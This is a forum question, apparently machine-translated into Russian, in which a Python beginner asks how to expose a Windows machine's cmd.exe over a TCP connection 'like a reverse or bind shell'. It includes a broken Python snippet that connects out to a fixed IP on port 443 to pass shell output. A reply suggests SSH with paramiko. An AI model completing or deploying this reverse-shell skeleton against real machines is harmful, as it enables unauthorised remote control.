У меня вопрос о запуске API окон по протоколу TCP/IP. Например, я хочу передать cmd.exe удаленной машины на другую машину (например, Netcat, полностью имитирующий cmd.exe по TCP/IP). Я искал в Интернете, чтобы сделать это с помощью python, но не смог найти ничего полезного. Я могу сделать это, используя подпроцесс и другие возможности python, но ему не хватает проблем с пользовательским интерфейсом. Я использовал этот вид кода:Python Shellexecute windows api с Ctypes через TCP/IP
import socket
import subprocess
import ctypes
HOST = '192.168.1.22'
PORT = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
while 1:
#send initial cmd.exe banner to remote machine
s.send(ctypes.windll.Shell32.ShellExecuteA(None,"open","cmd.exe",None,None,0))
#accept user input
data = s.recv(1024)
#pass it again to Shellexecute api to execute and return output to remote machine, fully simulating original CMD over TCP/IP
s.close()
Посмотрите на эту картину: Running CMD over TCP/IP using NetCat tool
Я хочу запустить CMD через сетевое соединение. Как обратная или связанная оболочка cmd. После успешного подключения один из компьютеров должен взять под свой контроль cmd.exe, принадлежащий другому. Я хочу написать сценарий, имитирующий интерактивный cmd.exe, который принадлежит другому компьютеру по сетевому соединению. Вероятно, использование windows apis, как shellexecute по сети, является решением, но я python-новичок и не могу написать его для себя :) – Abdulla
hum ..., подключение SSH к окнам и использование cmd в качестве оболочки по умолчанию является опцией для вашего дела? https://winscp.net/rus/docs/guide_windows_openssh_server После этого вы можете использовать библиотеку paramiko из Python :) http://jessenoller.com/blog/2009/02/05/ssh-programming-with -paramiko-совершенно отличен –